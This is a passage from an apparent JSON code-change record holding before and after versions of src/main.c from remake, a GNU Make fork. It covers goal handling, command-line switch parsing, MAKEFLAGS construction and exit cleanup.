}\n\n          fflush (stdout);\n          fflush (stderr);\n\n          /* The exec'd \"child\" will be another make, of course.  */\n          jobserver_pre_child(1);\n\n#ifdef SET_STACK_SIZE\n          /* Reset limits, if necessary.  */\n          if (stack_limit.rlim_cur)\n            setrlimit (RLIMIT_STACK, &stack_limit);\n#endif\n          exec_command ((char **)nargv, environ);\n\n          /* We shouldn't get here but just in case.  */\n          jobserver_post_child(1);\n          free (aargv);\n          break;\n        }\n    }\n\n  /* Set up 'MAKEFLAGS' again for the normal targets.  */\n  define_makeflags (1, 0);\n\n  /* Set always_make_flag if -B was given.  */\n  always_make_flag = always_make_set;\n\n  /* If restarts is set we haven't set up -W files yet, so do that now.  */\n  if (restarts && new_files != 0)\n    {\n      const char **p;\n      for (p = new_files->list; *p != 0; ++p)\n        {\n          struct file *f = enter_file (*p);\n          f->last_mtime = f->mtime_before_update = NEW_MTIME;\n        }\n    }\n\n  /* If there is a temp file from reading a makefile from stdin, get rid of\n     it now.  */\n  if (stdin_nm && unlink (stdin_nm) < 0 && errno != ENOENT)\n    perror_with_name (_(\"unlink (temporary file): \"), stdin_nm);\n\n  /* If there were no command-line goals, use the default.  */\n  if (goals == 0)\n    {\n      char *p;\n\n      if (default_goal_var->recursive)\n        p = variable_expand (default_goal_var->value);\n      else\n        {\n          p = variable_buffer_output (variable_buffer, default_goal_var->value,\n                                      strlen (default_goal_var->value));\n          *p = '\\0';\n          p = variable_buffer;\n        }\n\n      if (*p != '\\0')\n        {\n          struct file *f = lookup_file (p);\n\n          /* If .DEFAULT_GOAL is a non-existent target, enter it into the\n             table and let the standard logic sort it out. */\n          if (f == 0)\n            {\n              struct nameseq *ns;\n\n              ns = PARSE_SIMPLE_SEQ (&p, struct nameseq);\n              if (ns)\n                {\n                  /* .DEFAULT_GOAL should contain one target. */\n                  if (ns->next != 0)\n                    O (fatal, NILF,\n                       _(\".DEFAULT_GOAL contains more than one target\"));\n\n                  f = enter_file (strcache_add (ns->name));\n\n                  ns->name = 0; /* It was reused by enter_file(). */\n                  free_ns_chain (ns);\n                }\n            }\n\n          if (f)\n            {\n              goals = alloc_goaldep ();\n              goals->file = f;\n            }\n        }\n    }\n  else\n    lastgoal->next = 0;\n\n\n  if (!goals)\n    {\n      struct variable *v = lookup_variable (STRING_SIZE_TUPLE (\"MAKEFILE_LIST\"));\n      if (v && v->value && v->value[0] != '\\0')\n        O (fatal, NILF, _(\"No targets\"));\n\n      O (fatal, NILF, _(\"No targets specified and no makefile found\"));\n    }\n  if (show_task_comments_flag) {\n    dbg_cmd_info_targets(show_task_comments_flag\n\t\t\t ? INFO_TARGET_TASKS_WITH_COMMENTS\n\t\t\t : INFO_TARGET_TASKS);\n    die(0);\n  }\n  if (show_tasks_flag) {\n    dbg_cmd_info_tasks();\n    die(0);\n  } else if (show_targets_flag) {\n      dbg_cmd_info_targets(INFO_TARGET_NAME);\n      die(0);\n  }\n\n  /* Update the goals.  */\n\n  DB (DB_BASIC, (_(\"Updating goal targets...\\n\")));\n\n  {\n    switch (update_goal_chain (goals))\n    {\n      case us_none:\n        /* Nothing happened.  */\n        /* FALLTHROUGH */\n      case us_success:\n        /* Keep the previous result.  */\n        break;\n      case us_question:\n        /* We are under -q and would run some commands.  */\n        makefile_status = MAKE_TROUBLE;\n        break;\n      case us_failed:\n        /* Updating failed.  POSIX.2 specifies exit status >1 for this; */\n        makefile_status = MAKE_FAILURE;\n        break;\n    }\n\n    /* If we detected some clock skew, generate one last warning */\n    if (clock_skew_detected)\n      O (error, NILF,\n         _(\"warning:  Clock skew detected.  Your build may be incomplete.\"));\n\n    /* Exit.  */\n    die (makefile_status);\n  }\n\n  /* NOTREACHED */\n  exit (MAKE_SUCCESS);\n}\n\f\n/* Parsing of arguments, decoding of switches.  */\n\nstatic char options[1 + sizeof (switches) / sizeof (switches[0]) * 3];\nstatic struct option long_options[(sizeof (switches) / sizeof (switches[0])) +\n                                  (sizeof (long_option_aliases) /\n                                   sizeof (long_option_aliases[0]))];\n\n/* Fill in the string and vector for getopt.  */\nstatic void\ninit_switches (void)\n{\n  char *p;\n  unsigned int c;\n  unsigned int i;\n\n  if (options[0] != '\\0')\n    /* Already done.  */\n    return;\n\n  p = options;\n\n  /* Return switch and non-switch args in order, regardless of\n     POSIXLY_CORRECT.  Non-switch args are returned as option 1.  */\n  *p++ = '-';\n\n  for (i = 0; switches[i].c != '\\0'; ++i)\n    {\n      long_options[i].name = (char *) (switches[i].long_name == 0 ? \"\" :\n                                       switches[i].long_name);\n      long_options[i].flag = 0;\n      long_options[i].val = switches[i].c;\n      if (short_option (switches[i].c))\n        *p++ = (char) switches[i].c;\n      switch (switches[i].type)\n        {\n        case flag:\n        case flag_off:\n        case ignore:\n          long_options[i].has_arg = no_argument;\n          break;\n\n        case string:\n        case strlist:\n        case filename:\n        case positive_int:\n        case floating:\n          if (short_option (switches[i].c))\n            *p++ = ':';\n          if (switches[i].noarg_value != 0)\n            {\n              if (short_option (switches[i].c))\n                *p++ = ':';\n              long_options[i].has_arg = optional_argument;\n            }\n          else\n            long_options[i].has_arg = required_argument;\n          break;\n        }\n    }\n  *p = '\\0';\n  for (c = 0; c < (sizeof (long_option_aliases) /\n                   sizeof (long_option_aliases[0]));\n       ++c)\n    long_options[i++] = long_option_aliases[c];\n  long_options[i].name = 0;\n}\n\n\n/* Non-option argument.  It might be a variable definition.  */\nstatic void\nhandle_non_switch_argument (const char *arg, int env)\n{\n  struct variable *v;\n\n  if (arg[0] == '-' && arg[1] == '\\0')\n    /* Ignore plain '-' for compatibility.  */\n    return;\n\n  v = try_variable_definition (0, arg, o_command, 0);\n  if (v != 0)\n    {\n      /* It is indeed a variable definition.  If we don't already have this\n         one, record a pointer to the variable for later use in\n         define_makeflags.  */\n      struct command_variable *cv;\n\n      for (cv = command_variables; cv != 0; cv = cv->next)\n        if (cv->variable == v)\n          break;\n\n      if (! cv)\n        {\n          cv = xmalloc (sizeof (*cv));\n          cv->variable = v;\n          cv->next = command_variables;\n          command_variables = cv;\n        }\n    }\n  else if (! env)\n    {\n      /* Not an option or variable definition; it must be a goal\n         target!  Enter it as a file and add it to the dep chain of\n         goals.  */\n      struct file *f = enter_file (strcache_add (expand_command_line_file (arg)));\n      f->cmd_target = 1;\n\n      if (goals == 0)\n        {\n          goals = alloc_goaldep ();\n          lastgoal = goals;\n        }\n      else\n        {\n          lastgoal->next = alloc_goaldep ();\n          lastgoal = lastgoal->next;\n        }\n\n      lastgoal->file = f;\n\n      {\n        /* Add this target name to the MAKECMDGOALS variable. */\n        struct variable *gv;\n        const char *value;\n\n        gv = lookup_variable (STRING_SIZE_TUPLE (\"MAKECMDGOALS\"));\n        if (gv == 0)\n          value = f->name;\n        else\n          {\n            /* Paste the old and new values together */\n            size_t oldlen, newlen;\n            char *vp;\n\n            oldlen = strlen (gv->value);\n            newlen = strlen (f->name);\n            vp = alloca (oldlen + 1 + newlen + 1);\n            memcpy (vp, gv->value, oldlen);\n            vp[oldlen] = ' ';\n            memcpy (&vp[oldlen + 1], f->name, newlen + 1);\n            value = vp;\n          }\n        define_variable_cname (\"MAKECMDGOALS\", value, o_default, 0);\n      }\n    }\n}\n\n/* Print a nice usage method.  */\n\nstatic void\nprint_usage (int bad)\n{\n  const char *const *cpp;\n  FILE *usageto;\n\n  if (print_version_flag)\n    print_version ();\n\n  usageto = bad ? stderr : stdout;\n\n  fprintf (usageto, _(\"Usage: %s [options] [target] ...\\n\"), program);\n\n  for (cpp = usage; *cpp; ++cpp)\n    fputs (_(*cpp), usageto);\n\n  if (!remote_description || *remote_description == '\\0')\n    fprintf (usageto, _(\"\\nThis program built for %s\\n\"), make_host);\n  else\n    fprintf (usageto, _(\"\\nThis program built for %s (%s)\\n\"),\n             make_host, remote_description);\n\n  fprintf (usageto, _(\"Report bugs to https://github.com/rocky/remake/issues\\n\"));\n}\n\n/* Decode switches from ARGC and ARGV.\n   They came from the environment if ENV is nonzero.  */\n\nstatic void\ndecode_switches (int argc, const char **argv, int env)\n{\n  int bad = 0;\n  const struct command_switch *cs;\n  struct stringlist *sl;\n  int c;\n\n  /* getopt does most of the parsing for us.\n     First, get its vectors set up.  */\n\n  init_switches ();\n\n  /* Let getopt produce error messages for the command line,\n     but not for options from the environment.  */\n  opterr = !env;\n  /* Reset getopt's state.  */\n  optind = 0;\n\n  while (optind < argc)\n    {\n      const char *coptarg;\n\n      /* Parse the next argument.  */\n      c = getopt_long (argc, (char*const*)argv, options, long_options, NULL);\n      coptarg = optarg;\n      if (c == EOF)\n        /* End of arguments, or \"--\" marker seen.  */\n        break;\n      else if (c == 1)\n        /* An argument not starting with a dash.  */\n        handle_non_switch_argument (coptarg, env);\n      else if (c == '?')\n        /* Bad option.  We will print a usage message and die later.\n           But continue to parse the other options so the user can\n           see all he did wrong.  */\n        bad = 1;\n      else\n        for (cs = switches; cs->c != '\\0'; ++cs)\n          if (cs->c == c)\n            {\n              /* Whether or not we will actually do anything with\n                 this switch.  We test this individually inside the\n                 switch below rather than just once outside it, so that\n                 options which are to be ignored still consume args.  */\n              int doit = !env || cs->env;\n\n              switch (cs->type)\n                {\n                default:\n                  abort ();\n\n                case ignore:\n                  break;\n\n                case flag:\n                case flag_off:\n                  if (doit)\n                    *(int *) cs->value_ptr = cs->type == flag;\n                  break;\n\n                case string:\n                case strlist:\n                case filename:\n                  if (!doit)\n                    break;\n\n                  if (! coptarg)\n                    coptarg = xstrdup (cs->noarg_value);\n                  else if (*coptarg == '\\0')\n                    {\n                      char opt[2] = \"c\";\n                      const char *op = opt;\n\n                      if (short_option (cs->c))\n                        opt[0] = (char) cs->c;\n                      else\n                        op = cs->long_name;\n\n                      error (NILF, strlen (op),\n                             _(\"the '%s%s' option requires a non-empty string argument\"),\n                             short_option (cs->c) ? \"-\" : \"--\", op);\n                      bad = 1;\n                      break;\n                    }\n\n                  if (cs->type == string)\n                    {\n                      char **val = (char **)cs->value_ptr;\n                      free (*val);\n                      *val = xstrdup (coptarg);\n                      break;\n                    }\n\n                  sl = *(struct stringlist **) cs->value_ptr;\n                  if (sl == 0)\n                    {\n                      sl = xmalloc (sizeof (struct stringlist));\n                      sl->max = 5;\n                      sl->idx = 0;\n                      sl->list = xmalloc (5 * sizeof (char *));\n                      *(struct stringlist **) cs->value_ptr = sl;\n                    }\n                  else if (sl->idx == sl->max - 1)\n                    {\n                      sl->max += 5;\n                      /* MSVC erroneously warns without a cast here.  */\n                      sl->list = xrealloc ((void *)sl->list,\n                                           sl->max * sizeof (char *));\n                    }\n                  if (cs->type == filename)\n                    sl->list[sl->idx++] = expand_command_line_file (coptarg);\n                  else\n                    sl->list[sl->idx++] = xstrdup (coptarg);\n                  sl->list[sl->idx] = 0;\n                  break;\n\n                case positive_int:\n                  /* See if we have an option argument; if we do require that\n                     it's all digits, not something like \"10foo\".  */\n                  if (coptarg == 0 && argc > optind)\n                    {\n                      const char *cp;\n                      for (cp=argv[optind]; ISDIGIT (cp[0]); ++cp)\n                        ;\n                      if (cp[0] == '\\0')\n                        coptarg = argv[optind++];\n                    }\n\n                  if (!doit)\n                    break;\n\n                  if (coptarg)\n                    {\n                      int i = atoi (coptarg);\n                      const char *cp;\n\n                      /* Yes, I realize we're repeating this in some cases.  */\n                      for (cp = coptarg; ISDIGIT (cp[0]); ++cp)\n                        ;\n\n                      if (i < 1 || cp[0] != '\\0')\n                        {\n                          error (NILF, 0,\n                                 _(\"the '-%c' option requires a positive integer argument\"),\n                                 cs->c);\n                          bad = 1;\n                        }\n                      else\n                        *(unsigned int *) cs->value_ptr = i;\n                    }\n                  else\n                    *(unsigned int *) cs->value_ptr\n                      = *(unsigned int *) cs->noarg_value;\n                  break;\n\n                case floating:\n                  if (coptarg == 0 && optind < argc\n                      && (ISDIGIT (argv[optind][0]) || argv[optind][0] == '.'))\n                    coptarg = argv[optind++];\n\n                  if (doit)\n                    *(double *) cs->value_ptr\n                      = (coptarg != 0 ? atof (coptarg)\n                         : *(double *) cs->noarg_value);\n\n                  break;\n                }\n\n              /* We've found the switch.  Stop looking.  */\n              break;\n            }\n    }\n\n  /* There are no more options according to getting getopt, but there may\n     be some arguments left.  Since we have asked for non-option arguments\n     to be returned in order, this only happens when there is a \"--\"\n     argument to prevent later arguments from being options.  */\n  while (optind < argc)\n    handle_non_switch_argument (argv[optind++], env);\n\n  if (!env && (bad || print_usage_flag))\n    {\n      print_usage (bad);\n      die (bad ? MAKE_FAILURE : MAKE_SUCCESS);\n    }\n\n  /* If there are any options that need to be decoded do it now.  */\n  decode_debug_flags ();\n  decode_output_sync_flags ();\n\n  /* Perform any special switch handling.  */\n  run_silent = silent_flag;\n\n}\n\n/* Decode switches from environment variable ENVAR (which is LEN chars long).\n   We do this by chopping the value into a vector of words, prepending a\n   dash to the first word if it lacks one, and passing the vector to\n   decode_switches.  */\n\nstatic void\ndecode_env_switches (const char *envar, size_t len)\n{\n  char *varref = alloca (2 + len + 2);\n  char *value, *p, *buf;\n  int argc;\n  const char **argv;\n\n  /* Get the variable's value.  */\n  varref[0] = '$';\n  varref[1] = '(';\n  memcpy (&varref[2], envar, len);\n  varref[2 + len] = ')';\n  varref[2 + len + 1] = '\\0';\n  value = variable_expand (varref);\n\n  /* Skip whitespace, and check for an empty value.  */\n  NEXT_TOKEN (value);\n  len = strlen (value);\n  if (len == 0)\n    return;\n\n  /* Allocate a vector that is definitely big enough.  */\n  argv = alloca ((1 + len + 1) * sizeof (char *));\n\n  /* getopt will look at the arguments starting at ARGV[1].\n     Prepend a spacer word.  */\n  argv[0] = 0;\n  argc = 1;\n\n  /* We need a buffer to copy the value into while we split it into words\n     and unquote it.  Set up in case we need to prepend a dash later.  */\n  buf = alloca (1 + len + 1);\n  buf[0] = '-';\n  p = buf+1;\n  argv[argc] = p;\n  while (*value != '\\0')\n    {\n      if (*value == '\\\\' && value[1] != '\\0')\n        ++value;                /* Skip the backslash.  */\n      else if (ISBLANK (*value))\n        {\n          /* End of the word.  */\n          *p++ = '\\0';\n          argv[++argc] = p;\n          do\n            ++value;\n          while (ISBLANK (*value));\n          continue;\n        }\n      *p++ = *value++;\n    }\n  *p = '\\0';\n  argv[++argc] = 0;\n  assert (p < buf + len + 2);\n\n  if (argv[1][0] != '-' && strchr (argv[1], '=') == 0)\n    /* The first word doesn't start with a dash and isn't a variable\n       definition, so add a dash.  */\n    argv[1] = buf;\n\n  /* Parse those words.  */\n  decode_switches (argc, argv, 1);\n}\n\f\n/* Quote the string IN so that it will be interpreted as a single word with\n   no magic by decode_env_switches; also double dollar signs to avoid\n   variable expansion in make itself.  Write the result into OUT, returning\n   the address of the next character to be written.\n   Allocating space for OUT twice the length of IN is always sufficient.  */\n\nstatic char *\nquote_for_env (char *out, const char *in)\n{\n  while (*in != '\\0')\n    {\n      if (*in == '$')\n        *out++ = '$';\n      else if (ISBLANK (*in) || *in == '\\\\')\n        *out++ = '\\\\';\n      *out++ = *in++;\n    }\n\n  return out;\n}\n\n/* Define the MAKEFLAGS and MFLAGS variables to reflect the settings of the\n   command switches.  Include options with args if ALL is nonzero.\n   Don't include options with the 'no_makefile' flag set if MAKEFILE.  */\n\nstatic struct variable *\ndefine_makeflags (int all, int makefile)\n{\n  const char ref[] = \"MAKEOVERRIDES\";\n  const char posixref[] = \"-*-command-variables-*-\";\n  const char evalref[] = \"$(-*-eval-flags-*-)\";\n  const struct command_switch *cs;\n  char *flagstring;\n  char *p;\n\n  /* We will construct a linked list of 'struct flag's describing\n     all the flags which need to go in MAKEFLAGS.  Then, once we\n     know how many there are and their lengths, we can put them all\n     together in a string.  */\n\n  struct flag\n    {\n      struct flag *next;\n      const struct command_switch *cs;\n      const char *arg;\n    };\n  struct flag *flags = 0;\n  struct flag *last = 0;\n  size_t flagslen = 0;\n#define ADD_FLAG(ARG, LEN) \\\n  do {                                                                        \\\n    struct flag *new = alloca (sizeof (struct flag));                         \\\n    new->cs = cs;                                                             \\\n    new->arg = (ARG);                                                         \\\n    new->next = 0;                                                            \\\n    if (! flags)                                                              \\\n      flags = new;                                                            \\\n    else                                                                      \\\n      last->next = new;                                                       \\\n    last = new;                                                               \\\n    if (new->arg == 0)                                                        \\\n      /* Just a single flag letter: \" -x\"  */                                 \\\n      flagslen += 3;                                                          \\\n    else                                                                      \\\n      /* \" -xfoo\", plus space to escape \"foo\".  */                            \\\n      flagslen += 1 + 1 + 1 + (3 * (LEN));                                    \\\n    if (!short_option (cs->c))                                                \\\n      /* This switch has no single-letter version, so we use the long.  */    \\\n      flagslen += 2 + strlen (cs->long_name);                                 \\\n  } while (0)\n\n  for (cs = switches; cs->c != '\\0'; ++cs)\n    if (cs->toenv && (!makefile || !cs->no_makefile))\n      switch (cs->type)\n        {\n        case ignore:\n          break;\n\n        case flag:\n        case flag_off:\n          if ((!*(int *) cs->value_ptr) == (cs->type == flag_off)\n              && (cs->default_value == 0\n                  || *(int *) cs->value_ptr != *(int *) cs->default_value))\n\t    if (cs->c != 'X') ADD_FLAG (0, 0);\n          break;\n\n        case positive_int:\n          if (all)\n            {\n              if ((cs->default_value != 0\n                   && (*(unsigned int *) cs->value_ptr\n                       == *(unsigned int *) cs->default_value)))\n                break;\n              else if (cs->noarg_value != 0\n                       && (*(unsigned int *) cs->value_ptr ==\n                           *(unsigned int *) cs->noarg_value))\n                ADD_FLAG (\"\", 0); /* Optional value omitted; see below.  */\n              else\n                {\n                  char *buf = alloca (30);\n                  sprintf (buf, \"%u\", *(unsigned int *) cs->value_ptr);\n                  ADD_FLAG (buf, strlen (buf));\n                }\n            }\n          break;\n\n        case floating:\n          if (all)\n            {\n              if (cs->default_value != 0\n                  && (*(double *) cs->value_ptr\n                      == *(double *) cs->default_value))\n                break;\n              else if (cs->noarg_value != 0\n                       && (*(double *) cs->value_ptr\n                           == *(double *) cs->noarg_value))\n                ADD_FLAG (\"\", 0); /* Optional value omitted; see below.  */\n              else\n                {\n                  char *buf = alloca (100);\n                  sprintf (buf, \"%g\", *(double *) cs->value_ptr);\n                  ADD_FLAG (buf, strlen (buf));\n                }\n            }\n          break;\n\n        case string:\n          if (all)\n            {\n              p = *((char **)cs->value_ptr);\n              if (p)\n                ADD_FLAG (p, strlen (p));\n            }\n          break;\n\n        case filename:\n        case strlist:\n          if (all)\n            {\n              struct stringlist *sl = *(struct stringlist **) cs->value_ptr;\n              if (sl != 0)\n                {\n                  unsigned int i;\n                  for (i = 0; i < sl->idx; ++i)\n                    ADD_FLAG (sl->list[i], strlen (sl->list[i]));\n                }\n            }\n          break;\n\n        default:\n          abort ();\n        }\n\n#undef  ADD_FLAG\n\n  /* Four more for the possible \" -- \", plus variable references.  */\n  flagslen += 4 + CSTRLEN (posixref) + 4 + CSTRLEN (evalref) + 4;\n\n  /* Construct the value in FLAGSTRING.\n     We allocate enough space for a preceding dash and trailing null.  */\n  flagstring = alloca (1 + flagslen + 1);\n  memset (flagstring, '\\0', 1 + flagslen + 1);\n  p = flagstring;\n\n  /* Start with a dash, for MFLAGS.  */\n  *p++ = '-';\n\n  /* Add simple options as a group.  */\n  while (flags != 0 && !flags->arg && short_option (flags->cs->c))\n    {\n      if (flags->cs->c != 'X') {\n        *p++ = (char) flags->cs->c;\n        flags = flags->next;\n      }\n    }\n\n  /* Now add more complex flags: ones with options and/or long names.  */\n  while (flags)\n    {\n      *p++ = ' ';\n      *p++ = '-';\n\n      /* Add the flag letter or name to the string.  */\n      if (short_option (flags->cs->c)) {\n        if (flags->cs->c != 'X') *p++ = (char) flags->cs->c;\n      } else\n        {\n          /* Long options require a double-dash.  */\n          *p++ = '-';\n          strcpy (p, flags->cs->long_name);\n          p += strlen (p);\n        }\n      /* An omitted optional argument has an ARG of \"\".  */\n      if (flags->arg && flags->arg[0] != '\\0')\n        {\n          if (!short_option (flags->cs->c))\n            /* Long options require '='.  */\n            *p++ = '=';\n          p = quote_for_env (p, flags->arg);\n        }\n      flags = flags->next;\n    }\n\n  /* If no flags at all, get rid of the initial dash.  */\n  if (p == &flagstring[1])\n    {\n      flagstring[0] = '\\0';\n      p = flagstring;\n    }\n\n  /* Define MFLAGS before appending variable definitions.  Omit an initial\n     empty dash.  Since MFLAGS is not parsed for flags, there is no reason to\n     override any makefile redefinition.  */\n  define_variable_cname (\"MFLAGS\",\n                         flagstring + (flagstring[0] == '-' && flagstring[1] == ' ' ? 2 : 0),\n                         o_env, 1);\n\n  /* Write a reference to -*-eval-flags-*-, which contains all the --eval\n     flag options.  */\n  if (eval_strings)\n    {\n      *p++ = ' ';\n      memcpy (p, evalref, CSTRLEN (evalref));\n      p += CSTRLEN (evalref);\n    }\n\n  if (all)\n    {\n      /* If there are any overrides to add, write a reference to\n         $(MAKEOVERRIDES), which contains command-line variable definitions.\n         Separate the variables from the switches with a \"--\" arg.  */\n\n      const char *r = posix_pedantic ? posixref : ref;\n      size_t l = strlen (r);\n      struct variable *v = lookup_variable (r, l);\n\n      if (v && v->value && v->value[0] != '\\0')\n        {\n          strcpy (p, \" -- \");\n          p += 4;\n\n          *(p++) = '$';\n          *(p++) = '(';\n          memcpy (p, r, l);\n          p += l;\n          *(p++) = ')';\n        }\n    }\n\n  /* If there is a leading dash, omit it.  */\n  if (flagstring[0] == '-')\n    ++flagstring;\n\n  /* This used to use o_env, but that lost when a makefile defined MAKEFLAGS.\n     Makefiles set MAKEFLAGS to add switches, but we still want to redefine\n     its value with the full set of switches.  Then we used o_file, but that\n     lost when users added -e, causing a previous MAKEFLAGS env. var. to take\n     precedence over the new one.  Of course, an override or command\n     definition will still take precedence.  */\n  return define_variable_cname (\"MAKEFLAGS\", flagstring,\n                                env_overrides ? o_env_override : o_file, 1);\n}\n\f\n/* Print version information.  */\n\nstatic void\nprint_version (void)\n{\n  static int printed_version = 0;\n\n  const char *precede = print_data_base_flag ? \"# \" : \"\";\n\n  if (printed_version)\n    /* Do it only once.  */\n    return;\n\n  printf (\"%sGNU Make %s\\n\", precede, version_string);\n\n  if (!remote_description || *remote_description == '\\0')\n    printf (_(\"%sBuilt for %s\\n\"), precede, make_host);\n  else\n    printf (_(\"%sBuilt for %s (%s)\\n\"),\n            precede, make_host, remote_description);\n\n  /* Print this untranslated.  The coding standards recommend translating the\n     (C) to the copyright symbol, but this string is going to change every\n     year, and none of the rest of it should be translated (including the\n     word \"Copyright\"), so it hardly seems worth it.  */\n\n  printf (\"%sCopyright (C) 1988-2020 Free Software Foundation, Inc.\\n\"\n\t        \"Copyright (C) 2015, 2017 Rocky Bernstein.\\n\",\n          precede);\n\n  printf (_(\"%sLicense GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>\\n\\\n%sThis is free software: you are free to change and redistribute it.\\n\\\n%sThere is NO WARRANTY, to the extent permitted by law.\\n\"),\n            precede, precede, precede);\n\n  printed_version = 1;\n\n  /* Flush stdout so the user doesn't have to wait to see the\n     version information while make thinks about things.  */\n  fflush (stdout);\n}\n\n/* Print a bunch of information about this and that.  */\n\nstatic void\nprint_data_base (void)\n{\n  time_t when = time ((time_t *) 0);\n\n  print_version ();\n\n  printf (_(\"\\n# Make data base, printed on %s\"), ctime (&when));\n\n  print_variable_data_base ();\n  print_dir_data_base ();\n  print_rule_data_base (true);\n  print_file_data_base ();\n  print_vpath_data_base ();\n  strcache_print_stats (\"#\");\n\n  when = time ((time_t *) 0);\n  printf (_(\"\\n# Finished Make data base on %s\\n\"), ctime (&when));\n}\n\nstatic void\nclean_jobserver (int status)\n{\n  /* Sanity: have we written all our jobserver tokens back?  If our\n     exit status is 2 that means some kind of syntax error; we might not\n     have written all our tokens so do that now.  If tokens are left\n     after any other error code, that's bad.  */\n\n  if (jobserver_enabled() && jobserver_tokens)\n    {\n      if (status != 2)\n        ON (error, NILF,\n            \"INTERNAL: Exiting with %u jobserver tokens (should be 0)!\",\n            jobserver_tokens);\n      else\n        /* Don't write back the \"free\" token */\n        while (--jobserver_tokens)\n          jobserver_release (0);\n    }\n\n\n  /* Sanity: If we're the master, were all the tokens written back?  */\n\n  if (master_job_slots)\n    {\n      /* We didn't write one for ourself, so start at 1.  */\n      unsigned int tokens = 1 + jobserver_acquire_all ();\n\n      if (tokens != master_job_slots)\n        ONN (error, NILF,\n             \"INTERNAL: Exiting with %u jobserver tokens available; should be %u!\",\n             tokens, master_job_slots);\n\n      reset_jobserver ();\n    }\n}\n\f\n/* Exit with STATUS, cleaning up as necessary.  */\n\nvoid\ndie (int status)\n{\n  static char dying = 0;\n\n  if (!dying)\n    {\n      int err;\n\n      dying = 1;\n\n      if (print_version_flag)\n        print_version ();\n\n      /* Wait for children to die.  */\n      err = (status != 0);\n      while (job_slots_used > 0)\n        reap_children (1, err, NULL);\n\n      /* Let the remote job module clean up its state.  */\n      remote_cleanup ();\n\n      /* Remove the intermediate files.  */\n      remove_intermediates (0);\n\n      if (print_data_base_flag)\n        print_data_base ();\n\n      if (verify_flag)\n        verify_file_data_base ();\n\n      clean_jobserver (status);\n\n      if (output_context)\n        {\n          /* die() might be called in a recipe output context due to an\n             $(error ...) function.  */\n          output_close (output_context);\n\n          if (output_context != &make_sync)\n            output_close (&make_sync);\n\n          OUTPUT_UNSET ();\n        }\n\n      output_close (NULL);\n\n      /* Try to move back to the original directory.  This is essential on\n         MS-DOS (where there is really only one process), and on Unix it\n         puts core files in the original directory instead of the -C\n         directory.  Must wait until after remove_intermediates(), or unlinks\n         of relative pathnames fail.  */\n      if (directory_before_chdir != 0)\n        {\n          /* If it fails we don't care: shut up GCC.  */\n          int _x UNUSED;\n          _x = chdir (directory_before_chdir);\n        }\n    }\n\n  if (profile_flag) {\n    const char *status_str;\n    switch (status) {\n      case MAKE_SUCCESS:\n\tstatus_str = \"Normal program termination\";\n\tbreak;\n      case MAKE_TROUBLE:\n\tstatus_str = \"Platform failure termination\";\n\tbreak;\n      case MAKE_FAILURE:\n\tstatus_str = \"Failure program termination\";\n\tbreak;\n      case DEBUGGER_QUIT_RC:\n\tstatus_str = \"Debugger termination\";\n\tbreak;\n      default:\n\tstatus_str = \"\";\n      }\n\n    profile_close(status_str, goals, (jobserver_auth != NULL));\n  }\n  exit (status);\n}\n"}, "files_after": {"src/main.c": "/* Argument parsing and main program of GNU Make.\nCopyright (C) 1988-2020 Free Software Foundation, Inc.\nCopyright (C) 2015, 2017 Rocky Bernstein\nThis file is part of GNU Make.\n\nGNU Make is free software; you can redistribute it and/or modify it under the\nterms of the GNU General Public License as published by the Free Software\nFoundation; either version 3 of the License, or (at your option) any later\nversion.\n\nGNU Make is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.  See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with\nthis program.  If not, see <http://www.gnu.org/licenses/>.  */\n\n#include \"makeint.h\"\n#include \"globals.h\"\n#include \"profile.h\"\n#include \"os.h\"\n#include \"filedef.h\"\n#include \"dep.h\"\n#include \"variable.h\"\n#include \"job.h\"\n#include \"commands.h\"\n#include \"rule.h\"\n#include \"debug.h\"\n#include \"getopt.h\"\n// debugger include(s)\n#include \"cmd.h\"\n\n#include <assert.h>\n#ifdef WINDOWS32\n# include <windows.h>\n# include <io.h>\n#ifdef HAVE_STRINGS_H\n# include <strings.h>\t/* for strcasecmp */\n#endif\n# include \"pathstuff.h\"\n# include \"sub_proc.h\"\n# include \"w32err.h\"\n#endif\n#ifdef HAVE_FCNTL_H\n# include <fcntl.h>\n#endif\n\nstruct goaldep *read_makefiles;\n\nextern void initialize_stopchar_map ();\n\n#if defined HAVE_WAITPID || defined HAVE_WAIT3\n# define HAVE_WAIT_NOHANG\n#endif\n\n#ifndef HAVE_UNISTD_H\nint chdir ();\n#endif\n#ifndef STDC_HEADERS\n# ifndef sun                    /* Sun has an incorrect decl in a header.  */\nvoid exit (int) NORETURN;\n# endif\ndouble atof ();\n#endif\n\nstatic void clean_jobserver (int status);\nstatic void print_data_base (void);\nvoid print_rule_data_base (bool b_verbose);\nstatic void print_version (void);\nstatic void decode_switches (int argc, const char **argv, int env);\nstatic void decode_env_switches (const char *envar, size_t len);\nstatic struct variable *define_makeflags (int all, int makefile);\nstatic char *quote_for_env (char *out, const char *in);\nstatic void initialize_global_hash_tables (void);\n\n\f\n/* The structure that describes an accepted command switch.  */\n\nstruct command_switch\n  {\n    int c;                      /* The switch character.  */\n\n    enum                        /* Type of the value.  */\n      {\n        flag,                   /* Turn int flag on.  */\n        flag_off,               /* Turn int flag off.  */\n        string,                 /* One string per invocation.  */\n        strlist,                /* One string per switch.  */\n        filename,               /* A string containing a file name.  */\n        positive_int,           /* A positive integer.  */\n        floating,               /* A floating-point number (double).  */\n        ignore                  /* Ignored.  */\n      } type;\n\n    void *value_ptr;    /* Pointer to the value-holding variable.  */\n\n    unsigned int env:1;         /* Can come from MAKEFLAGS.  */\n    unsigned int toenv:1;       /* Should be put in MAKEFLAGS.  */\n    unsigned int no_makefile:1; /* Don't propagate when remaking makefiles.  */\n\n    const void *noarg_value;    /* Pointer to value used if no arg given.  */\n    const void *default_value;  /* Pointer to default value.  */\n\n    const char *long_name;      /* Long option name.  */\n  };\n\n/* True if C is a switch value that corresponds to a short option.  */\n\n#define short_option(c) ((c) <= CHAR_MAX)\n\n/* The structure used to hold the list of strings given\n   in command switches of a type that takes strlist arguments.  */\n\n/* The recognized command switches.  */\n\nstatic const int default_silent_flag = 0;\n\n/* Nonzero means either -s was given, or .SILENT-with-no-deps was seen.  */\n\nint run_silent = 0;\n\n/*! If non-null, contains the type of tracing we are to do.\n  This is coordinated with tracing_flag. */\nstringlist_t *tracing_opts = NULL;\n\n/*! If true, show version information on entry. */\nbool b_show_version = false;\n\n/*! If true, go into debugger on error.\nSets --debugger 